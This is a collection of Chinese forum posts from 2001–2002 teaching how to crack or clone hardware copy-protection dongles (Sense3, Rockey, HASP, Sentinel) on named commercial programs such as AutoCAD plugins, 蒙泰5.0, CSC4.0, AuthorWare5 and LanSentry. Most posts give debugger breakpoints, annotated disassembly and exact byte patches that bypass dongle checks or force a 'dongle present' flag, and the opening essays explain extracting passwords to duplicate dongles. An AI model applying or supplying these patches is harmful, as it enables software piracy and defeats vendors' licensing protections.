深思3狗，有两套口令，一个叫开发口令，一个叫应用口令，都是由三个整数组成的。我们知道，任何一种加密狗，都不可能对不同的人卖相同的加密狗，这个区别，在圣天诺狗里叫ID号，在HASP狗里是口令，在深思3狗就是这个开发口令了，不同的人或者公司，买到的深思狗的开发口令肯定是不同的，但是，深思狗的开发口令，只是在编辑和写入程序时用，在用户程序中不用，在用户程序中只用应用口令，这是深思狗的一个严重的漏洞！我们可以用不同的开发口令的狗，写入相同的程序和数据（包括应用口令），这就可以完全复制深思狗了！！！
要破解深思狗或者复制深思狗，第一步就是找到“应用口令”。用狗加密的软件，判断是否有加密狗，第一步就是找狗，在深思狗中就是“打开加密锁”——OpenSense3。这个操作，在大部分反汇编中可以找到“OpenSense3”字符串，在CALL语句的上一行，是PUSH语句，其后的数据就是深思调用函数接口参数表的地址。看一下这个地址，第一个字节是返回值，从第二个字节开始的连续六个字节，就是“应用口令”了。如果在反汇编中找不到“OpenSense3”字符串，可以在动态调试器（如TRW2000）中，下BPIO 378，拦下后，按F12十几次，返回到主程序中，上一行的CALL就是“打开加密锁”的调用了。如果要复制狗，把这三个口令记下来，以后，其他数据收集齐了，就可以写狗了；如果是破解，只需要把深思调用函数接口参数表的第一个字节置为0即可破解掉第一不了。
****说明：本文只是为初学破解加密狗的朋友而做，诸位高手见笑了，如果没有人扔臭鸡蛋之类，还会续下去，否则，献丑到此为止了。****

撰写：紫竹 转贴：cbhappy

标 题:[转贴]深思3乱弹（二）——数据 (1千字)
发信人:cbhappy
时 间:2002-1-27 12:32:05
详细信息:

深思3乱弹（二）——数据
在深思3乱弹（一）——口令中，我们已经谈了深思3的应用口令，可以并且只能在程序中得到。在这里，我们谈一下深思3的数据单元的问题。
深思3的标准版，提供了128个字节的数据区。除了极个别的软件狗，大多数软件狗都有数据区，如金天地的各种狗，都有100字节的数据区，有人可能会问，为什么是100字节，应该是64、128、256字节才对呀。存储器本身的容量，确实应该是64、128、256等，那么，金天地提供100字节的数据区，少了28个字节，这少的28个字节，被用来做系统数据区了，用来保存序列号、口令之类的东西了。那么深思3为什么没有占用数据区？深思3还有48字节的代码区，与64相比，少了16字节，这就是他存放口令等系统数据的所在了。
对于狗中的数据，在被加密程序中的使用，各种狗的情况基本上是相同的。一是，读出数据，简单的比较；二是，读出数据，不做比较，而是作为参数或地址，供程序下一步使用。如果被加密程序，处理狗内的数据是前一种情况，则在无狗的情况下，我们从程序中即可得到数据了。对于后一种情况，则必须在有狗的情况下，才可以得到数据，即无狗是无法破解的。
如果有狗，要复制的话，在知道了“应用口令”后，读出狗中的全部数据，不是很难的事了。
深思3的狗，读写数据的指令，和打开锁的指令是相同的，只是数据接口的具体参数不同而已。
深思3狗，打开锁的指令格式是：
PUSH 地址1
CALL 地址2
这里，地址1，是深思3数据接口的首地址（即程序设计中的数据接口的指针），地址2，是深思3狗驱动程序的调用地址。读写数据的指令与此完全相同，所以，找到了一处，就不难找到其他的了。
这里说明一下，深思3狗的数据接口（前文“深思3乱弹（一）——口令”中的叙述有误，以此为准）
2字节返回标志，2字节功能代码，6字节应用口令，2字节输出记数，8字节输出内容，2字节接受记数，8字节接受内容，2字节备用输入，64字节系统保留。
这样，4-9字节为应用口令，20-21为读狗数据的字数，22-29为读狗的数据。

－－撰写：紫竹

标 题:[转贴]深思3乱弹（三）——代码 (2千字)
发信人:cbhappy
时 间:2002-1-27 12:34:33
详细信息:

深思3乱弹（三）——代码
可以把程序（代码）写入狗内，是深思3狗引以为荣的特色。也是我们破解或复制深思3狗的难点。
前两段短文已经将了，我们可以从程序中找到狗的应用口令，可以从狗中读出全部数据区的内容，但代码区是可写不可读的，怎么办呢？
把代码写入狗中，实际上是一种数据变换，不过就是这个变换可以由用户自己编程而已。
所谓数据变换，就是向狗发出一个数据，狗则返回一个同样长度的数据，返回的数据就是变换的结果，变换的规则，就是狗内的算法，圣天诺的SUPERPRO狗的算法是固定的，但算法因子可以由用户写入；深思3的算法，就是用户写入的代码。
既然变换的结果是数据，被加密程序，怎么判断返回值是否正确呢？
对于深思3而言，有三种情况：
1、用码表
所谓码表，就是加密者事先准备的数据变换前后的对照表。这种方法是圣天诺狗必用的方法。这种方法的缺点是，容易被WKPE等仿真类软件拦截，除非准备的码表很长，使得多次拦截后的数据合并起来庞大得无法使用。码表法是深思公司极力反对的。所以，在深思狗加密中很少见，但也不排除有习惯用此方法加密的人，使用深思狗后仍然沿用这种方法。
2、副本法
所谓副本法，就是在被加密程序中有一个与狗中代码功能相同的代码的副本存在，被加密程序，做数据变换，采用随机数，把产生的随机数，发到狗内，变换返回的数据1，在把同一个数据送到程序内的副本处，进行变换，得到返回数据2，比较数据1和数据2，判断是否是正版狗。
这种方法，可以有效防止WKPE等仿真器拦截。但这种方法，为我们复制狗留下了漏洞，我们只要找到这个副本，把他翻译成深思3的汇编语言，就得到了狗内程序代码。
3、逆变换法
所谓逆变换法，就是狗内的代码，有变换和逆变换两个入口，被加密程序产生一个随机数，先送到变换区返回一个数据，再把这个返回值送到逆变换区，返回一个逆变换数据，把这个数据与最初的随机数比较，相同就是有正版狗。
这种方法，也可以有效防止WKPR类仿真器的拦截，而且，无法从程序中得到狗内的代码。但是我们可以在狗内随便写一段代码，只要变换和逆变换的入口与原狗的一致就可以了。
综上所述，只要有了程序，基本上可以复制出深思3的狗了。只是数据区的问题，如果是把从狗内读到的数据，不进行对比，则我们就无法知道数据区的内容，必须要读狗。
****好了，关于深思3狗的一点研究心得，就写这些了，错漏之处在所难免，只是给初学破解加密狗的朋友做参考。现丑到此结束。****

－－撰写：紫竹 编辑：cbhappy


AutoCAD加载的ARX

 标 题:我也来解狗 (3千字)
发信人:SOO
时 间:2001-10-13 19:58:37
详细信息:
某AutoCAD加载的ARX程序，Sense3的狗， 既然解狗就要找“狗”，查找“狗”，共两处，改掉之后就OK了！
难道这也叫解狗！

Exported fn(): acrxEntryPoint - Ord:0002h
:1C05CF00 8B442404 mov eax, dword ptr [esp+04]
:1C05CF04 48 dec eax
:1C05CF05 83F804 cmp eax, 00000004
:1C05CF08 0F878C000000 ja 1C05CF9A
:1C05CF0E FF2485A0CF051C jmp dword ptr [4*eax+1C05CFA0]
:1C05CF15 8B442408 mov eax, dword ptr [esp+08]
:1C05CF19 50 push eax

* Reference To: ACAD.acrxUnlockApplication, Ord:0D5Bh
|
:1C05CF1A E8BDC00800 Call 1C0E8FDC
:1C05CF1F 83C404 add esp, 00000004
:1C05CF22 E8C9AAFEFF call 1C0479F0
:1C05CF27 85C0 test eax, eax
:1C05CF29 7505 jne 1C05CF30
:1C05CF2B E8C0AAFEFF call 1C0479F0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1C05CF29(C)
|
:1C05CF30 E84BFEFFFF call 1C05CD80
:1C05CF35 E8A6A8FEFF call 1C0477E0
:1C05CF3A E8019CFEFF call 1C046B40
:1C05CF3F A388E00F1C mov dword ptr [1C0FE088], eax
:1C05CF44 85C0 test eax, eax
:1C05CF46 7521 jne 1C05CF69 ×××××改7521为7421，启动时跳过检查狗×××
:1C05CF48 6A00 push 00000000
:1C05CF4A 6A04 push 00000004
:1C05CF4C E82FAAFEFF call 1C047980
:1C05CF51 83C408 add esp, 00000008
:1C05CF54 E807ABFEFF call 1C047A60

* Possible StringData Ref from Data Obj ->"
软件出现致命错误,请检查加密狗是否正确!"
|
:1C05CF59 6888560F1C push 1C0F5688

* Reference To: ACAD.acrx_abort, Ord:0D5Dh
|
:1C05CF5E E8CBBF0800 Call 1C0E8F2E
:1C05CF63 83C404 add esp, 00000004
:1C05CF66 33C0 xor eax, eax
:1C05CF68 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1C04674A(C)
|
:1C046753 66C7442404AF07 mov [esp+04], 07AF
:1C04675A 66C74424060700 mov [esp+06], 0007
:1C046761 66C74424081A00 mov [esp+08], 001A
:1C046768 66C7442402FFFF mov [esp+02], FFFF
:1C04676F 8D442400 lea eax, dword ptr [esp]
:1C046773 50 push eax
:1C046774 E8C7290A00 call 1C0E9140
:1C046779 66837C240001 cmp word ptr [esp], 0001
:1C04677F 1BC0 sbb eax, eax
:1C046781 83E002 and eax, 00000002

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1C046751(U)
|
:1C046784 83F801 cmp eax, 00000001
:1C046787 7418 je 1C0467A1 ××74 改为75 跳过××
:1C046789 83F802 cmp eax, 00000002
:1C04678C 7413 je 1C0467A1 ××74 改为75 跳过 ××

* Possible StringData Ref from Data Obj ->"01加密狗不存在!"××此处为每条命令执行时检查加密狗××
|
:1C04678E 68A03C0F1C push 1C0F3CA0

* Reference To: ACAD.ads_printf, Ord:0DC6h
|
:1C046793 E88E260A00 Call 1C0E8E26
:1C046798 83C404 add esp, 00000004
:1C04679B 33C0 xor eax, eax
:1C04679D 83C460 add esp, 00000060
:1C0467A0 C3 ret


CSC4.0高中版本

 标 题:解个小狗,呵呵.看起来是rockey狗的外壳,(3千字)
发信人:shou_xin
时 间:2001-10-14 10:47:13
详细信息:
应CrackerABC的要求破解<CSC4.0高中版本>,到电脑市场买了一套D版本,回家安装一看,居然不能用.
看来还得自己动手,自立更生啊.
主文件
csc40gz.exe(主文件)
xtxl.exe(自测题调用主文件),关键是它了.
csc9x.vxd
工具:w32dasm,softice4.05+frogice,winhex
以下是csc40gz.exe的主要代码
====================================================================
:00401351 8A442424 mov al, byte ptr [esp+24]
:00401355 83E103 and ecx, 00000003
:00401358 89542438 mov dword ptr [esp+38], edx
:0040135C 668B1550E44400 mov dx, word ptr [0044E450]
:00401363 8844243C mov byte ptr [esp+3C], al
:00401367 F3 repz
:00401368 A4 movsb
:00401369 8B4C241C mov ecx, dword ptr [esp+1C]
:0040136D B8ECAA4400 mov eax, 0044AAEC
:00401372 894C2434 mov dword ptr [esp+34], ecx
:00401376 8D4C2434 lea ecx, dword ptr [esp+34]
:0040137A 51 push ecx
:0040137B 52 push edx
:0040137C FFD0 call eax
:0040137E 83C408 add esp, 00000008
:00401381 663BC3 cmp ax, bx
:00401384 89442418 mov dword ptr [esp+18], eax
:00401388 EB6A jmp 004013F4------------------->这里是我改的,如果不跳就OVER
* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:0040138A 8B35C8E44300 mov esi, dword ptr [0043E4C8]
:00401390 6A10 push 00000010

* Possible StringData Ref from Data Obj ->"科利华电脑家庭教师高中4.0版"
|
:00401392 68ECA14400 push 0044A1EC

* Possible StringData Ref from Data Obj ->"加密锁未找到！"
|
:00401397 68C8A14400 push 0044A1C8
:0040139C 6A00 push 00000000
:0040139E FFD6 call esi
:004013A0 A148E44400 mov eax, dword ptr [0044E448]
:004013A5 8D4C2414 lea ecx, dword ptr [esp+14]
:004013A9 6A00 push 00000000
:004013AB 51 push ecx
:004013AC 8D542420 lea edx, dword ptr [esp+20]
:004013B0 6A02 push 00000002
:004013B2 52 push edx
:004013B3 6A04 push 00000004
:004013B5 6860E44400 push 0044E460
:004013BA 6801E410A4 push A410E401
:004013BF 50 push eax
:004013C0 891D70E44400 mov dword ptr [0044E470], ebx
:004013C6 891D74E44400 mov dword ptr [0044E474], ebx
:004013CC C70578E4440002000000 mov dword ptr [0044E478], 00000002
:004013D6 FFD5 call ebp
:004013D8 85C0 test eax, eax
:004013DA 0F8593020000 jne 00401673
:004013E0 6A10 push 00000010
===================================================================================
相同类似的代码地址如下:
004038D5 0040900C 0040F1A1 00401397
这些是程序运行中的检测狗的地方.很简单的哦.就不用我多说了.
====================================================================================
下面是xtxl.exe
这个主文件被加了狗壳,没法子,借助CrackerABC的力量(有狗哦),脱了它,用GetVersion断点找到OEP
00430687,用PRODUMP1.62脱掉外壳.回家运行一下,自然没有问题了.
这个文件要说明的是,该文件使用的反跟踪技巧,倒不是说会非法操作.而是让你无法单步得到读狗的
操作,没狗有点难办.

唉,这是一个借助有狗的情况下脱了壳.

新疆[BCG]&shou_xin[CCG]

2001.10.12


蒙泰5.0

 标 题:蒙泰5.0加密狗破解过程 (6千字)
发信人:crackjack
时 间:2001-10-11 17:47:57
详细信息:
又到杀狗的时间了，呵呵，这次的疯狗的是什么呢？小弟是广告界的，当然先拿喷绘软件来开刀了，蒙泰5.0应该是国内用得最多的一个喷绘软件吧，好，这次就拿它来试刀了。

工具：trw2000
w32dasm8.93黄金版
hview

蒙泰在运行时如果没有加密狗，就会弹出一个对话框，好，我们就从这个对话框入手。运行trw2000，然后运行蒙泰，会

出现对话框，切入trw2000(ctrl+N)，下断点bpx enddialog，返回主程序，按下“确定”按钮，Boom，被拦下来的，暂停

断点(BD *),接着就一直按F12和F10，直到返回到下面的代码处：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00490D53(C)
|
:00490D5D 8B1B mov ebx, dword ptr [ebx]
:00490D5F 85DB test ebx, ebx
:00490D61 75EC jne 00490D4F

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00490D47(C), :00490D4D(C)
|
:00490D63 833D80AC630007 cmp dword ptr [0063AC80], 00000007 <=====我们想办法让[0063AC80]不等于7
:00490D6A 750E jne 00490D7A
:00490D6C 833D20C6650000 cmp dword ptr [0065C620], 00000000
:00490D73 7505 jne 00490D7A
:00490D75 E836FFFFFF call 00490CB0 <=====出错对话框

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00490D6A(C), :00490D73(C)
|
:00490D7A B801000000 mov eax, 00000001 <=====返回到这里

我们往上看,有两条跳转指令,程序是通过地址63ac80和65c620的内容来决定是否显示出错对话框的,好,退出蒙泰,我们再

下断点bpm 63ac80,看会断在什么地方:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B67AC(C)
|
:004B67CD C743109A010000 mov [ebx+10], 0000019A
:004B67D4 C743145C000000 mov [ebx+14], 0000005C
:004B67DB 33D2 xor edx, edx
:004B67DD 895318 mov dword ptr [ebx+18], edx
:004B67E0 C7431C07000000 mov [ebx+1C], 00000007 <=====这里就是给63ac80赋值的地方,当走到这里的

时候就GAME OVER了,所以我们往上看什么地方可以跳过这里
:004B67E7 68606D0000 push 00006D60 <======中断在此
:004B67EC E85EF10E00 call 005A594F

我们往上看,是4B67AC这个地址调用的:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B6792(C)
|
:004B67A4 83BC240402000004 cmp dword ptr [esp+00000204], 00000004 <=====当[esp+00000204]小于4时,

就会跳到4B67CD,如果没有狗,这个地址的内容为0,同时这里也是判断版本号的地方,当大于等于4时,就是通用版
:004B67AC 7C1F jl 004B67CD
:004B67AE C705D443630001000000 mov dword ptr [006343D4], 00000001
:004B67B8 33C0 xor eax, eax
:004B67BA C743148C000000 mov [ebx+14], 0000008C
:004B67C1 894318 mov dword ptr [ebx+18], eax
:004B67C4 C7431C05000000 mov [ebx+1C], 00000005 <=====[63AC80]=5
:004B67CB EB55 jmp 004B6822

再往上看地址4B6792:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B66EB(U)
|
:004B6757 83BC24040200000C cmp dword ptr [esp+00000204], 0000000C <=====大于等于0C时,是专业版
:004B675F 7C0C jl 004B676D
:004B6761 C7431C01000000 mov [ebx+1C], 00000001
:004B6768 E9B5000000 jmp 004B6822

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B675F(C)
|
:004B676D 83BC24040200000A cmp dword ptr [esp+00000204], 0000000A <=====大于等于0A时,是专业版S(哪

位朋友知道专业版S和专业版有什么区别)
:004B6775 7C13 jl 004B678A
:004B6777 C74314C2010000 mov [ebx+14], 000001C2
:004B677E C7431C02000000 mov [ebx+1C], 00000002
:004B6785 E998000000 jmp 004B6822

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B6775(C)
|
:004B678A 83BC240402000006 cmp dword ptr [esp+00000204], 00000006 <=====当大于等于6时,是标准版
:004B6792 7C10 jl 004B67A4
:004B6794 C743142C010000 mov [ebx+14], 0000012C
:004B679B C7431C04000000 mov [ebx+1C], 00000004
:004B67A2 EB7E jmp 004B6822

好了,我们快要接近目标了,再往上看:

:004B6722 51 push ecx
:004B6723 E8EAE11000 call 005C4912
:004B6728 85C0 test eax, eax <=====注意了,这里就是关键的地方,当没有狗时,EAX=0
:004B672A 740E je 004B673A
:004B672C 8B842408020000 mov eax, dword ptr [esp+00000208]
:004B6733 A320C66500 mov dword ptr [0065C620], eax
:004B6738 EB09 jmp 004B6743

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004B6702(C), :004B672A(C)
|
:004B673A 33D2 xor edx, edx <=====EDX=0
:004B673C 89942404020000 mov dword ptr [esp+00000204], edx <=====放标志了,[ESP+00000204]=0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B6738(U)
|
:004B6743 6800010000 push 00000100
:004B6748 6A00 push 00000000
:004B674A 8D4C240C lea ecx, dword ptr [esp+0C]
:004B674E 51 push ecx
:004B674F E8A8EF1000 call 005C56FC
:004B6754 83C40C add esp, 0000000C

好了,我们找到关键的地方了,我们要让[ESP+00000204]不为0,我的改法是:

004B6722 51 push ecx
:004B6723 E8EAE11000 call 005C4912
:004B6728 85C0 test eax, eax <=====改为push 0c(我需要专业版嘛,如果你要通用版,就用04好

了,我想你不会那么笨吧,呵呵)
:004B672A 740E je 004B673A <=====改为JMPS 004B673A
:004B672C 8B842408020000 mov eax, dword ptr [esp+00000208]
:004B6733 A320C66500 mov dword ptr [0065C620], eax
:004B6738 EB09 jmp 004B6743

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004B6702(C), :004B672A(C)
|
:004B673A 33D2 xor edx, edx <=====改为POP EDX; NOP(POP指令只有一个字节,所以要加NOP补

足)
:004B673C 89942404020000 mov dword ptr [esp+00000204], edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B6738(U)
|
:004B6743 6800010000 push 00000100
:004B6748 6A00 push 00000000
:004B674A 8D4C240C lea ecx, dword ptr [esp+0C]
:004B674E 51 push ecx
:004B674F E8A8EF1000 call 005C56FC
:004B6754 83C40C add esp, 0000000C

好长啊,终于写完了。哪位朋友对解HASP外壳狗有经验的，能否给我一份破解过程呢？小弟很需要这方面的知识的，谢谢了。

本文章可以自由张贴，但请保持此文章的完整性，谢谢


2488的解狗教程

 标 题:本人作品，2488的解狗教程(DOS下的狗)，应客户要求，不便说出软件名字。 (2千字)
发信人:罗降神
时 间:2002-2-18 9:09:53
详细信息:
2488的破解过程

0A20:6352 2EC606866200 MOV BYTE [CS:6286],00
0A20:6358 803E420001 CMP BYTE [42],01
0A20:635D 90 NOP
0A20:635E 90 NOP
0A20:635F 90 NOP
0A20:6360 0E PUSH CS
0A20:6361 E8E60A CALL 6E4A
0A20:6364 3D0100 CMP AX,01
0A20:6367 EB67 JMP SHORT 63D0
0A20:6369 3D0600 CMP AX,06
0A20:636C 7416 JZ 6384
0A20:636E 3D0000 CMP AX,00
0A20:6371 90 NOP
0A20:6372 90 NOP
0A20:6373 2EC606866200 MOV BYTE [CS:6286],00
0A20:6379 1E PUSH DS
0A20:637A 0E PUSH CS
0A20:637B 1F POP DS
0A20:637C BA4A62 MOV DX,624A //这里会显示一些出错信息，
//通常的DOS程序在运行前不应该会显不出错信息。
//所以这里应该是没有用的，也就是说不要让程序走到这。
0A20:637F B409 MOV AH,09
0A20:6381 CD21 INT 21
0A20:6383 1F POP DS
0A20:6384 9A236D9A11 CALL 6D23
.
.
.
0A20:63BD EB0A JMP SHORT 63C9
0A20:63BF 90 NOP
0A20:63C0 BAB862 MOV DX,62B8 //这里一定是别的出错信息，
//因为INT 21+AH=09只要改变DX的值就可以显示不到的信息
//了，通常软件会做一个出错信息提示集合。
0A20:63C3 EB04 JMP SHORT 63C9
0A20:63C5 90 NOP
0A20:63C6 BAD562 MOV DX,62D5 //同上
0A20:63C9 B409 MOV AH,09
0A20:63CB CD21 INT 21
0A20:63CD E9B000 JMP 6480
0A20:63D0 2EC606866201 MOV BYTE [CS:6286],01 //在这里放标志，以后会用到。
0A20:63D6 803E190001 CMP BYTE [19],01
0A20:63DB 7525 JNZ 6402
0A20:63DD 803E420000 CMP BYTE [42],00
0A20:63E2 7408 JZ 63EC
0A20:63E4 2E803E866201 CMP BYTE [CS:6286],01 //用到了上面的标志。
0A20:63EA 7416 JZ 6402
0A20:63EC 8C0E2800 MOV [28],CS
0A20:63F0 C70626008762 MOV WORD [26],6287
0A20:63F6 9A546D9A11 CALL 6D54
0A20:63FB 0BC2 OR AX,DX
0A20:63FD 7403 JZ 6402
0A20:63FF EB7F JMP SHORT 6480
0A20:6401 90 NOP

通常在解狗时会看到很多的标志保存和读取。这些都是关键不要放过。还有，程序运行需要CALL，所以尽量让程序多走几个CALL，这样破解的可能
性比较大，另外，解狗也要经常试，有的时候也要靠运气。

罗降神
2002.2.18


N188破解过程(DOS下的狗)

 标 题:N188破解过程(DOS下的狗),新疆大侠在吗？祝你新年快乐，请与我联系，最近也见不到你上QQ。真是神龙见首不见尾。 (2千字)
发信人:罗降神
时 间:2002-2-18 9:13:04
详细信息:
N188破解过程

PART A：

0A21:7786 PUSH BP
0A21:7787 MOV BP,SP
0A21:7789 NOP
0A21:778A PUSH CS
0A21:778B CALL 75F3 //这里是关键，F8进入PART B
0A21:778E JC 77AA
0A21:7790 MOV DI,[BP+02]
0A21:7793 ADD DI,BYTE +16
0A21:7796 MOV BX,[CS:0D]
0A21:779B MOV BX,BA46
0A21:779E SUB BX,BA32
0A21:77A2 MOV [CS:DI],BX
0A21:77A5 MOV AL,00
0A21:77A7 JMP SHORT 77AC
0A21:77A9 NOP
0A21:77AA MOV AL,01
0A21:77AC POP BP

PART B：
0A21:75F3 PUSH BP
0A21:75F4 MOV BP,SP
0A21:75F6 PUSH SI
0A21:75F7 PUSH DS
0A21:75F8 MOV AX,1883
0A21:75FB MOV DS,AX
0A21:75FD CMP BYTE [CS:6286],01 //我没有改这里，因为在下面的那个CALL里会退出。
//要从退出的CALL入手
0A21:7603 JZ 7613
0A21:7605 CALL 6D23 //这里是关键的过程，因为下面的JZ可以跟到新的片段，而不是结束。
//F8进入后来到PART C
0A21:760A OR AX,DX //注意这里是AX和DX进入或。所以，从6D23中返回的值只有AX和DX要用到。
0A21:760C JZ 7613 //这里的跳转很关键.
0A21:760E XOR AX,AX
0A21:7610 STC
0A21:7611 JMP SHORT 7637
0A21:7613 MOV AX,[CS:67D9] //下面的这几段代码通常是用来作标志或初始化的。
0A21:7617 MOV [CS:67D5],AX
0A21:761B MOV AX,[CS:67DB]
0A21:761F MOV [CS:67D7],AX
0A21:7623 MOV BX,6B21
0A21:7626 MOV AL,[CS:67DC]
0A21:762A XOR AX,23

PART C：
119B:6D27 MOV WORD [BP-02],119B
119B:6D2C MOV WORD [BP-04],68C2
119B:6D31 MOV WORD [BP-06],119B
119B:6D36 MOV WORD [BP-08],6892
119B:6D3B PUSH WORD [BP-06]
119B:6D3E PUSH WORD [BP-08]
119B:6D41 PUSH WORD [BP-02]
119B:6D44 PUSH WORD [BP-04]
119B:6D47 PUSH BYTE +01
119B:6D49 PUSH CS
119B:6D4A CALL 4484 //当走过这个CALL时会退出。所以，我要把这里改成向AX和DX中赋0
119B:6D4D ADD SP,BYTE +0A
119B:6D50 JMP SHORT 6D52
119B:6D52 LEAVE

CALL 4484的CODE是4个字节，改成XOR AX，AX和XOR DX，DX正好，改过后就完成破解了。

罗降神
2002.2.18


ART

 标 题:喜欢杀狗的朋友请进，我恨狗！！！！ (2千字)
发信人:crackjack
时 间:2001-10-10 12:31:01
详细信息:
小弟恨狗，见到狗就非要把它给宰了不可，呵呵，有点变态对不？

好了，看一下我们怎么样把这狗给去掉吧,这个软件是韩国出的喷绘软件，效果比蒙泰5.0要好（他奶

奶的，中国的软件什么时候才达到国际水准啊）。

工具：TRW2000
目标：art.exe

运行TRW2000,下断点bpio 378，然后运行art.exe，BOOM！！！被拦下来的，按几下F12，返回到主程

式，如下：

:0045FCA3 8D85E0FBFFFF lea eax, dword ptr [ebp+FFFFFBE0]
:0045FCA9 50 push eax

* Reference To: SP32W.RNBOproInitialize, Ord:0000h
|
:0045FCAA E87DAA0100 Call 0047A72C
:0045FCAF 668945E4 mov word ptr [ebp-1C], ax <======返回到这里
:0045FCB3 8B4DE4 mov ecx, dword ptr [ebp-1C]
:0045FCB6 81E1FFFF0000 and ecx, 0000FFFF
:0045FCBC 85C9 test ecx, ecx
:0045FCBE 7430 je 0045FCF0
:0045FCC0 C78598FBFFFF00000000 mov dword ptr [ebp+FFFFFB98], 00000000
:0045FCCA C645FC00 mov [ebp-04], 00
:0045FCCE 8D4DE8 lea ecx, dword ptr [ebp-18]
:0045FCD1 E8C61B0300 call 0049189C
:0045FCD6 C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:0045FCDD 8D4DF0 lea ecx, dword ptr [ebp-10]
:0045FCE0 E8B71B0300 call 0049189C
:0045FCE5 8B8598FBFFFF mov eax, dword ptr [ebp+FFFFFB98]
:0045FCEB E920010000 jmp 0045FE10

接下来一直按F10,直到下面的代码处：

:0045FDD8 E8BF1A0300 call 0049189C
:0045FDDD 8B8590FBFFFF mov eax, dword ptr [ebp+FFFFFB90] <======注意，放标

志了，如果这里返回0，则没有狗，把它改为：B8 01 00 00 00 90，就把狗宰了，呵呵
:0045FDE3 EB2B jmp 0045FE10

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045FDA6(C)
|
:0045FDE5 C7858CFBFFFF01000000 mov dword ptr [ebp+FFFFFB8C], 00000001
:0045FDEF C645FC00 mov [ebp-04], 00
:0045FDF3 8D4DE8 lea ecx, dword ptr [ebp-18]
:0045FDF6 E8A11A0300 call 0049189C
:0045FDFB C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:0045FE02 8D4DF0 lea ecx, dword ptr [ebp-10]
:0045FE05 E8921A0300 call 0049189C
:0045FE0A 8B858CFBFFFF mov eax, dword ptr [ebp+FFFFFB8C]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0045FC9E(U), :0045FCEB(U), :0045FD54(U), :0045FDE3(U)
|
:0045FE10 8B4DF4 mov ecx, dword ptr [ebp-0C]
:0045FE13 64890D00000000 mov dword ptr fs:[00000000], ecx
:0045FE1A 5F pop edi
:0045FE1B 5E pop esi
:0045FE1C 8BE5 mov esp, ebp
:0045FE1E 5D pop ebp
:0045FE1F C3 ret

小弟第一次写破解，好累啊，小弟下一编文章是破蒙泰5.0的ROCKEY-4狗，请期待啦。呵呵


AuthorWare5

 标 题:Crack之亲历手迹6---破解AuthorWare5的软件狗() (2千字)
发信人:y97523
时 间:2002-3-9 20:04:17
详细信息:
Crack之亲历手迹6---破解AuthorWare5的软件狗()
其实破的是AuthorWare的CheckDog函数,并没有进入狗的领空(毕竟作狗的人反pj的功力高一些)
//-----------------------------------------------
1.先移去一个salesagent的保护
2.
__CheckDog proc near ; CODE XREF: sub_42AE90+16p
.text:0050D680 ; sub_42AF80+15p ...
.text:0050D680 test byte ptr dword_618918, 10h
.text:0050D687 push ebx
.text:0050D688 push esi
.text:0050D689 push edi
.text:0050D68A mov esi, ecx
.text:0050D68C mov ebx, 1
.text:0050D691 jz short loc_50D6D7
.text:0050D693 call sub_50D600
.text:0050D698 movzx eax, ax
.text:0050D69B mov edi, [esi]
.text:0050D69D mov ecx, eax
.text:0050D69F shl eax, 3
.text:0050D6A2 sub eax, ecx
.text:0050D6A4 lea ecx, unk_620B48[eax*2]
.text:0050D6AB push ecx
.text:0050D6AC lea ebx, ds:0[eax*2]
.text:0050D6B3 mov ecx, esi
.text:0050D6B5 call dword ptr [edi+8] ; 读取狗的数据
.text:0050D6B8 mov cx, word_620B54[ebx]
.text:0050D6BF sub cx, ax
.text:0050D6C2 cmp cx, 1
.text:0050D6C6 sbb ebx, ebx
.text:0050D6C8 neg ebx
.text:0050D6CA test ebx, ebx
.text:0050D6CC jnz short loc_50D6D7
.text:0050D6CE mov eax, [esp+10h]
.text:0050D6D2 mov ecx, esi
.text:0050D6D4 push eax
.text:0050D6D5 call dword ptr [edi] ; 显示出错对话框
.text:0050D6D7
.text:0050D6D7 loc_50D6D7: ; CODE XREF: __CheckDog+11j
.text:0050D6D7 ; __CheckDog+4Cj
.text:0050D6D7 mov eax, ebx ; eax=1表示有狗,eax=0表示无狗
.text:0050D6D9 pop edi
.text:0050D6DA pop esi
.text:0050D6DB pop ebx
.text:0050D6DC retn 4
.text:0050D6DC __CheckDog endp ; sp = -8
Email:y97523@hotmail.com


Hasp Envelope

 标 题:快速破解Hasp Envelope (315字)
发信人:a.out
时 间:2001-10-17 15:49:42
详细信息:
1) 用冲击波找到OEP
2) bpx FreeEnvironmentStringsa
3) 中断后，bd*，G OEP
4) 再次中断后就可以dump了
5) 用PE editor修正dump后的Entry point为OEP

在第4)步，如果你使用的是SoftIce但不会用IceDump的话，先把OEP的第一条指令改为jmp OEP，然后F5退出SoftIce，用ProcDump把进程Dump full。第5)步之后，再把OEP指令改回去就行了。


LanSentry

 标 题:我来写一下LanSentry的解狗破解过程 (5千字)
发信人:D-X-C
时 间:2002-1-19 9:18:08
详细信息:
LanSentry的破解过程

破解：D-X-C
破解时间：2002.1.19

该软件用狗保护，用VC编写，先反汇编，找线索，我前几天还解过一个狗，发现
解狗的一种较为简便和省力的方法是在DOG之外做文章。大家请看下文：

:00406C68 A1BC7F5500 mov eax, dword ptr [00557FBC] //可见这是一个关键地址。
:00406C6D 85C0 test eax, eax
:00406C6F 7407 je 00406C78
:00406C71 68C07F5500 push 00557FC0
:00406C76 EB05 jmp 00406C7D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00406C6F(C)
|

* Possible StringData Ref from Data Obj ->"[未授权用户！试用时间:一小时]"
|
:00406C78 6828D84400 push 0044D828

